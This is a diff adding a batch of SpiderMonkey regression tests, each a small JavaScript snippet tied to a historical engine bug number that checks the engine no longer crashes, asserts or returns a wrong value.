+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
+var summary = 'TCF_FUN_CLOSURE_VS_VAR is necessary';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(x)
+ {
+ var y = 1;
+ if (Math)
+ function x() { }
+ if (Math)
+ function y() { }
+ return [x, y];
+ }
+
+ var r = f(0);
+
+ if (typeof(r[0]) != "number")
+ actual += "Bad r[0]";
+
+ if (typeof(r[1]) != "function")
+ throw "Bad r[1]";
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-468711.js b/js/src/tests/non262/regress/regress-468711.js
new file mode 100644
index 0000000000..a771e4c625
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-468711.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 468711;
+var summary = 'TM: Do not assert: !JS_ON_TRACE(cx)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (5).toString(); for (let b of [3, this]) { b.toString(); }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-469044.js b/js/src/tests/non262/regress/regress-469044.js
new file mode 100644
index 0000000000..6221106b65
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-469044.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469044;
+var summary = 'type unstable globals';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '---000---000';
+ actual = '';
+
+ for (var i = 0; i < 2; ++i) {
+ for (var e = 0; e < 2; ++e) {
+ }
+ var c = void 0;
+ print(actual += "---");
+ for (var a = 0; a < 3; ++a) {
+ c <<= c;
+ print(actual += "" + c);
+ }
+ }
+ reportCompare(expect, actual, summary + ': 1');
+
+ expect = '00000000';
+ actual = '';
+
+ print("");
+ for (var i = 0; i < 2; ++i) {
+ for (var e = 0; e < 2; ++e) {
+ }
+ var c = void 0;
+ for (var a = 0; a < 3; ++a) {
+ c <<= c;
+ print(actual += "" + c);
+ }
+ print(actual += c);
+ }
+ reportCompare(expect, actual, summary + ': 2');
+
+ actual = '';
+ print("");
+
+ for (var i = 0; i < 2; ++i) {
+ for (var e = 0; e < 2; ++e) {
+ }
+ var c = void 0;
+ for (var a = 0; a < 3; ++a) {
+ c <<= c;
+ Math;
+ print(actual += "" + c);
+ }
+ print(actual += c);
+ }
+ reportCompare(expect, actual, summary + ': 3');
+}
diff --git a/js/src/tests/non262/regress/regress-469239-01.js b/js/src/tests/non262/regress/regress-469239-01.js
new file mode 100644
index 0000000000..05de70dd91
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-469239-01.js
@@ -0,0 +1,33 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469239;
+var summary = 'TM: Do not assert: entry->kpc == (jsbytecode*) atoms[index]';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let b=0;b<9;++b) {
+ for (let h of ['', 3, /x/]) {
+ for (c of [[], [], [], /x/]) {
+ '' + c;
+ }
+ }
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-469239-02.js b/js/src/tests/non262/regress/regress-469239-02.js
new file mode 100644
index 0000000000..b36cd76ce2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-469239-02.js
@@ -0,0 +1,33 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469239;
+var summary = 'TM: Do not assert: ATOM_IS_STRING(atom)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let b=0;b<9;++b) {
+ for (let h of [33, 3, /x/]) {
+ for (c of [[], [], [], /x/]) {
+ '' + c;
+ }
+ }
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-469547.js b/js/src/tests/non262/regress/regress-469547.js
new file mode 100644
index 0000000000..4cb0fc056a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-469547.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469547;
+var summary = 'Do not crash with: for (let [,] of [[], [], null]) {}';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ for (let [,] of [[], [], null]) {}
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-469625-02.js b/js/src/tests/non262/regress/regress-469625-02.js
new file mode 100644
index 0000000000..03751d5b54
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-469625-02.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469625;
+var summary = 'group assignment with rhs containing holes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'y';
+
+ Array.prototype[1] = 'y';
+ var [x, y, z] = ['x', , 'z'];
+
+ actual = y;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-469625-03.js b/js/src/tests/non262/regress/regress-469625-03.js
new file mode 100644
index 0000000000..28dc11c5d4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-469625-03.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469625;
+var summary = 'Do not assert: script->objectsOffset != 0';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(x) {
+ var [a, b, [c0, c1]] = [x, x, x];
+ }
+
+ expect = /TypeError: .*\[\.\.\.\]\[Symbol.iterator\]\(\)\.next\(\)\.value is null/;
+ actual = 'No Error';
+ try
+ {
+ f(null);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-469758.js b/js/src/tests/non262/regress/regress-469758.js
new file mode 100644
index 0000000000..426f6010e2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-469758.js
@@ -0,0 +1,14 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var err;
+try {
+ {let i=1}
+ {let j=1; [][j][2]}
+} catch (e) {
+ err = e;
+}
+assertEq(err instanceof TypeError, true);
+assertEq(err.message.endsWith("[][j] is undefined"), true);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-469937.js b/js/src/tests/non262/regress/regress-469937.js
new file mode 100644
index 0000000000..753735c15d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-469937.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469937;
+var summary = 'Properties without DontEnum are sometimes not enumerated';
+var actual = false;
+var expect = true;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+(function(){
+ var o = { }
+ o.PageLeft = 1;
+ o.Rect2 = 6;
+ delete o.Rect2;
+ for (var p in o);
+ o.Rect3 = 7;
+ found = false;
+ for (var p in o) if (p == 'Rect3') found = true;
+ actual = found;
+})();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-470061.js b/js/src/tests/non262/regress/regress-470061.js
new file mode 100644
index 0000000000..5d2ae75815
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-470061.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470061;
+var summary = 'TM: Do not assert: cx->fp->regs->pc == f->ip && f->root == f';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function x (w, z) {
+ var h = 0;
+ var q = 0;
+ while (q < 300) {
+ while (w) {
+ }
+ ++q;
+ if (q % 4 == 1) {
+ h = Math.ceil(z);
+ }
+ }
+ }
+
+ x(false, 40);
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-470187-01.js b/js/src/tests/non262/regress/regress-470187-01.js
new file mode 100644
index 0000000000..c1f40b5449
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-470187-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470187;
+var summary = 'Do not assert: entry->kpc == (jsbytecode*) atoms[index]';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j=0;j<3;++j) ({valueOf: function(){return 2}}) - /x/;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-470187-02.js b/js/src/tests/non262/regress/regress-470187-02.js
new file mode 100644
index 0000000000..da8ab58396
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-470187-02.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470187;
+var summary = 'Do not assert: ATOM_IS_STRING(atom)';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j=0;j<3;++j) ({valueOf: function(){return 2}}) - [];
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-470223.js b/js/src/tests/non262/regress/regress-470223.js
new file mode 100644
index 0000000000..aea6f1310b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-470223.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470223;
+var summary = 'TM: Do not crash @ js_NewObjectWithGivenProto';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function F(A) {
+ for (R = [], s = 0; (m = A.indexOf("m", s++)) >= 0; )
+ R.push([m]);
+ for (i = R.length; i--; ) {
+ let r = R[i];
+ if (r[0]);
+ }
+ }
+ F("m"); F("mm");
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-470388-01.js b/js/src/tests/non262/regress/regress-470388-01.js
new file mode 100644
index 0000000000..13d22a5ecc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-470388-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470388;
+var summary = 'TM: Do not assert: !(fp->flags & JSFRAME_POP_BLOCKS)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let x of [function(){}, new Boolean(false), function(){}]) {}
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-470758-01.js b/js/src/tests/non262/regress/regress-470758-01.js
new file mode 100644
index 0000000000..b3d166ca2b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-470758-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470758;
+var summary = 'Do not crash with eval upvars';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() { var k; eval("for (var k in {});") })()
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-470758-02.js b/js/src/tests/non262/regress/regress-470758-02.js
new file mode 100644
index 0000000000..a0aa3ac000
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-470758-02.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470758;
+var summary = 'Promote evald initializer into upvar';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 5;
+
+ (function(){var x;eval("for (x = 0; x < 5; x++);");print(actual = x);})();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-471660.js b/js/src/tests/non262/regress/regress-471660.js
new file mode 100644
index 0000000000..a0fe35f3f7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-471660.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 471660;
+var summary = 'TM: Do not assert: !(fp->flags & JSFRAME_POP_BLOCKS)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ y = {"a":1};
+
+ for (var w = 0; w < 5; ++w) {
+
+ { let y; do break ; while (true); }
+ for (let x of [{}, function(){}]) {y}
+
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-472533.js b/js/src/tests/non262/regress/regress-472533.js
new file mode 100644
index 0000000000..9a56df9d02
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-472533.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 472533;
+var summary = 'Do not crash with loop, replace, regexp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j = 0; j < 4; ++j) ''.replace('', /x/);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-474769.js b/js/src/tests/non262/regress/regress-474769.js
new file mode 100644
index 0000000000..462a4432ec
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-474769.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474769;
+var summary = 'TM: nested type-unstable for loops';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 1;
+
+
+ for (b of [1, 1, 1, 1.5, 1, 1]) {
+ (function() { for (let h of [0, 0, 1.4, ""]) {} })();
+ }
+ actual = b;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-474771-01.js b/js/src/tests/non262/regress/regress-474771-01.js
new file mode 100644
index 0000000000..7971cc769d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-474771-01.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474771;
+var summary = 'gczeal, prototype mangling, for..in';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'PASS';
+ if (typeof gczeal == 'function')
+ {
+ gczeal(2);
+ }
+
+ Object.prototype.q = 3;
+ for (let x of [6, 7]) { } print(actual = "PASS");
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-474771.js b/js/src/tests/non262/regress/regress-474771.js
new file mode 100644
index 0000000000..4b3985edad
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-474771.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474771;
+var summary = 'TM: do not halt execution with gczeal, prototype mangling, for..in';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'PASS';
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(2);
+ }
+
+ Object.prototype.q = 3;
+ for (let x of [6, 7]) { } print(actual = "PASS");
+
+
+ delete Object.prototype.q;
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-474935.js b/js/src/tests/non262/regress/regress-474935.js
new file mode 100644
index 0000000000..7e311156d7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-474935.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474935;
+var summary = 'Do not assert: !ti->typeMap.matches(ti_other->typeMap)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var a = ["", 0, 0, 0, 0, 0, "", "", 0, "", 0, ""];
+ var i = 0;
+ var g = 0;
+ for (let e of a) {
+ "" + [e];
+ if (i == 3 || i == 7) {
+ for (g of [1]) {
+ }
+ }
+ ++i;
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-475469.js b/js/src/tests/non262/regress/regress-475469.js
new file mode 100644
index 0000000000..ccca629408
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-475469.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 475469;
+var summary = 'TM: Do not crash @ FramePCOffset';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// print('Note this test originally required jit enabled with the environment ');
+// print('variable TRACEMONKEY=verbose defined. Note that the calls to enable ');
+// print('jit are necessary for the crash.');
+
+ [1,2,3].map(function(v, i, t) { return /a/gi.exec(v); });
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/non262/regress/regress-475645-01.js b/js/src/tests/non262/regress/regress-475645-01.js
new file mode 100644
index 0000000000..04fb570bc5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-475645-01.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 475645;
+var summary = 'Do not crash @ nanojit::LIns::isop';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ linkarr = new Array();
+ picarr = new Array();
+ textarr = new Array();
+ var f=161;
+ var t=27;
+ var pics = "";
+ var links = "";
+ var texts = "";
+ var s = f+t;
+ var d = "1";
+ picarr[2] = "2";
+ for(i=1;i<picarr.length;i++)
+ {
+ if(pics=="") pics = picarr[i];
+ else{
+ if(picarr[i].indexOf("jpg")==-1 && picarr[i].indexOf("JPG")==-1) picarr[i] = d;
+ }
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-475645-02.js b/js/src/tests/non262/regress/regress-475645-02.js
new file mode 100644
index 0000000000..bb8efa9a94
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-475645-02.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 475645;
+var summary = 'Do not crash @ nanojit::LIns::isop';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ if (typeof window != 'undefined')
+ {
+ var q = (function () { });
+ window.addEventListener("load", q, false);
+ window.onerror = q;
+ arr = new Array();
+ pic = r = new Array;
+ h = t = 7;
+ var pics = "";
+ pic[2] = "";
+ for (i=1; i < pic.length; i++)
+ {
+ try
+ {
+ if(pics=="")
+ pics=pic[i];
+ else
+ (pic[i]-1 & pic[i].i("") == 1);
+ }
+ catch(ex)
+ {
+ }
+ arr[i]='';
+ }
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-476049.js b/js/src/tests/non262/regress/regress-476049.js
new file mode 100644
index 0000000000..e3a4d10200
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-476049.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476049;
+var summary = 'JSOP_DEFVAR enables gvar optimization for non-permanent properties';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// This test requires either two input files in the shell or two
+// script blocks in the browser.
+
+if (typeof window == 'undefined')
+{
+ print(expect = actual = 'Test skipped');
+}
+else
+{
+ document.write(
+ '<script type="text/javascript">' +
+ 'for (var i = 0; i != 1000; ++i)' +
+ ' this["a"+i] = 0;' +
+ 'eval("var x");' +
+ 'for (var i = 0; i != 1000; ++i)' +
+ ' delete this["a"+i];' +
+ '<\/script>'
+ );
+
+ document.write(
+ '<script type="text/javascript">' +
+ 'var x;' +
+ 'eval("delete x;");' +
+ 'x={};' +
+ '<\/script>'
+ );
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-476192.js b/js/src/tests/non262/regress/regress-476192.js
new file mode 100644
index 0000000000..f66a16f212
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-476192.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476192;
+var summary = 'TM: Do not assert: JSVAL_TAG(v) == JSVAL_STRING';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var global;
+
+ (function(){
+ var ad = {present: ""};
+ var params = ['present', 'a', 'present', 'a', 'present', 'a', 'present'];
+ for (var j = 0; j < params.length; j++) {
+ global = ad[params[j]];
+ }
+ })();
+
+
+ reportCompare(expect, actual, summary);
+}
